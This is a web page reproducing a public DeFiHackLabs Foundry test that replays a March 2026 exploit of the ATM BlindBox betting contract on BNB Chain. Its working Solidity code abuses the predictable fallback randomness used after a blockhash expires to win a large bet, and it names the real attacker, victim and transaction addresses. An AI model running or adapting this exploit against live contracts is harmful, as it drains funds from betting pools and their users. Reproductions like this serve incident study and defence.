Skip to content
THREATWIRE

Public reproduction file

src/test/2026-03/ATMBlindBox_exp.sol

Public reproduction file for dataset entry ATMBlindBox.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-03/ATMBlindBox_exp.sol140 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.19;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 13,000,000 ATM (~99,000 USD)
8// Attacker : 0x3f9Bd963641e969Fc0c9Ddf1c67e210e84915b7D
9// Attack Contract : 0x9C1819640201f223596FaD4F6401900B4B732eeA
10// Vulnerable Contract : 0x1F8336aEF584795E282FECe8DE356BaBD7734c59
11// Victim : 0x1F8336aEF584795E282FECe8DE356BaBD7734c59
12// Attack Tx : https://bscscan.com/tx/0xb74a572967ce997afa5920811e6a9dc8b82a6e41ee31fa4d1a24a85aec89e342
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0x1F8336aEF584795E282FECe8DE356BaBD7734c59#code
17// @Analysis
18// Twitter Guy : https://t.me/defimon_alerts/2808
19//
20// ATM BlindBox let users choose when to settle bets. After blockhash(betBlock + 2) expired,
21// settlement fell back to keccak256(block.prevrandao, betId, block.timestamp), which the
22// attacker could evaluate before submitting a winning settlement.
24address constant ATTACKER = 0x3f9Bd963641e969Fc0c9Ddf1c67e210e84915b7D;
25address constant HISTORICAL_ATTACK_CONTRACT = 0x9C1819640201f223596FaD4F6401900B4B732eeA;
26address constant BLINDBOX = 0x1F8336aEF584795E282FECe8DE356BaBD7734c59;
27address constant ATM_TOKEN = 0x9C86F45905868317baCB8f442653d5E9a6888888;
28address constant DEAD = 0x000000000000000000000000000000000000dEaD;
30interface IBlindBox {
31 function nextBetId() external view returns (uint256);
32 function cachedBlockHash(
33 uint256 blockNumber
34 ) external view returns (bytes32);
35 function bets(
36 uint256 betId
37 ) external view returns (address user, uint256 amount, uint256 blockNum, uint256 oddDigit, bool settled);
38 function settle(
39 uint256 betId
40 ) external;
43contract ContractTest is BaseTestWithBalanceLog {
44 IERC20 private constant atm = IERC20(ATM_TOKEN);
45 IBlindBox private constant blindBox = IBlindBox(BLINDBOX);
47 function setUp() public {
48 uint256 forkBlock = 87_517_071;
49 vm.createSelectFork("bsc", forkBlock);
50 fundingToken = ATM_TOKEN;
51 attacker = ATTACKER;
53 vm.label(ATTACKER, "Attacker EOA");
54 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack helper");
55 vm.label(BLINDBOX, "ATM BlindBox");
56 vm.label(ATM_TOKEN, "ATM");
57 vm.label(DEAD, "ATM DEAD payout pool");
58 }
60 function testExploit() public balanceLog {
61 ATMBlindBoxHelper helper = new ATMBlindBoxHelper(ATTACKER);
63 // step 1: give the local helper the same large-bet capital as the delayed placement tx.
64 uint256 largeBetAmount = 300_000 ether;
65 deal(ATM_TOKEN, address(helper), largeBetAmount);
66 assertGt(atm.balanceOf(DEAD), (largeBetAmount * 195) / 100, "DEAD payout balance");
68 // step 2: place an even-parity large bet in the same block as the historical placement.
69 vm.roll(87_517_072);
70 vm.warp(1_773_931_227);
71 uint256 expectedBetId = blindBox.nextBetId();
72 assertEq(expectedBetId, 0x1410, "historical delayed bet id");
74 vm.prank(ATTACKER, ATTACKER);
75 helper.placeLargeBet(largeBetAmount);
77 (, uint256 recordedAmount, uint256 betBlock, uint256 parity, bool settledBefore) = blindBox.bets(expectedBetId);
78 assertEq(recordedAmount, largeBetAmount, "recorded bet amount");
79 assertEq(betBlock, block.number, "recorded bet block");
80 assertEq(parity, 0, "even parity");
81 assertFalse(settledBefore, "bet should be open");
83 // step 3: settle after the target blockhash has expired, using the actual winning fallback inputs.
84 uint256 targetBlock = betBlock + 2;
85 vm.roll(87_517_892);
86 vm.warp(1_773_931_596);
87 vm.prevrandao(bytes32(uint256(0x12c)));
88 assertEq(block.number - targetBlock, 818, "target block age");
89 assertEq(blockhash(targetBlock), bytes32(0), "expired target blockhash");
91 bytes32 fallbackHash = keccak256(abi.encodePacked(block.prevrandao, expectedBetId, block.timestamp));
92 assertEq(uint256(fallbackHash) % 16, 2, "winning even fallback digit");
94 uint256 helperBeforeSettle = atm.balanceOf(address(helper));
95 vm.prank(ATTACKER, ATTACKER);
96 helper.settleBet(expectedBetId);
98 uint256 largeBetPayout = (largeBetAmount * 195) / 100;
99 assertEq(atm.balanceOf(address(helper)) - helperBeforeSettle, largeBetPayout, "large bet payout");
100 assertEq(blindBox.cachedBlockHash(targetBlock), fallbackHash, "cached fallback hash");
102 // step 4: forward the gained ATM to the attacker and assert net round profit over the staked ATM.
103 uint256 attackerBeforeWithdraw = atm.balanceOf(ATTACKER);
104 vm.prank(ATTACKER, ATTACKER);
105 helper.withdrawATM();
106 uint256 attackerReceived = atm.balanceOf(ATTACKER) - attackerBeforeWithdraw;
107 assertGt(attackerReceived - largeBetAmount, 280_000 ether, "net ATM profit");
108 }
111contract ATMBlindBoxHelper {
112 address private immutable owner;
113 IERC20 private constant atm = IERC20(ATM_TOKEN);
114 IBlindBox private constant blindBox = IBlindBox(BLINDBOX);
116 constructor(
117 address owner_
118 ) {
119 owner = owner_;
120 }
122 function placeLargeBet(
123 uint256 amount
124 ) external {
125 require(msg.sender == owner, "only owner");
126 atm.transfer(DEAD, amount);
127 }
129 function settleBet(
130 uint256 betId
131 ) external {
132 require(msg.sender == owner, "only owner");
133 blindBox.settle(betId);
134 }
136 function withdrawATM() external {
137 require(msg.sender == owner, "only owner");
138 atm.transfer(owner, atm.balanceOf(address(this)));
139 }

Analysis

Dataset entry

Public Foundry test for “ATMBlindBox” (2026-03-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x3f9bd963641e969fc0c9ddf1c67e210e84915b7d

  • Attack Contract

    0x9c1819640201f223596fad4f6401900b4b732eea

  • Vulnerable Contract

    0x1f8336aef584795e282fece8de356babd7734c59

  • Victim

    0x1f8336aef584795e282fece8de356babd7734c59

  • Attack Tx

    0xb74a572967ce997afa5920811e6a9dc8b82a6e41ee31fa4d1a24a85aec89e342

File record

Name
ATMBlindBox
Path
src/test/2026-03/ATMBlindBox_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
f292bc626764d591de4056644a3741cf4737d326
Language
Solidity
Size
141 lines
Date
2026-03-19
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-03/ATMBlindBox_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f292bc626764d591de4056644a3741cf4737d326, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.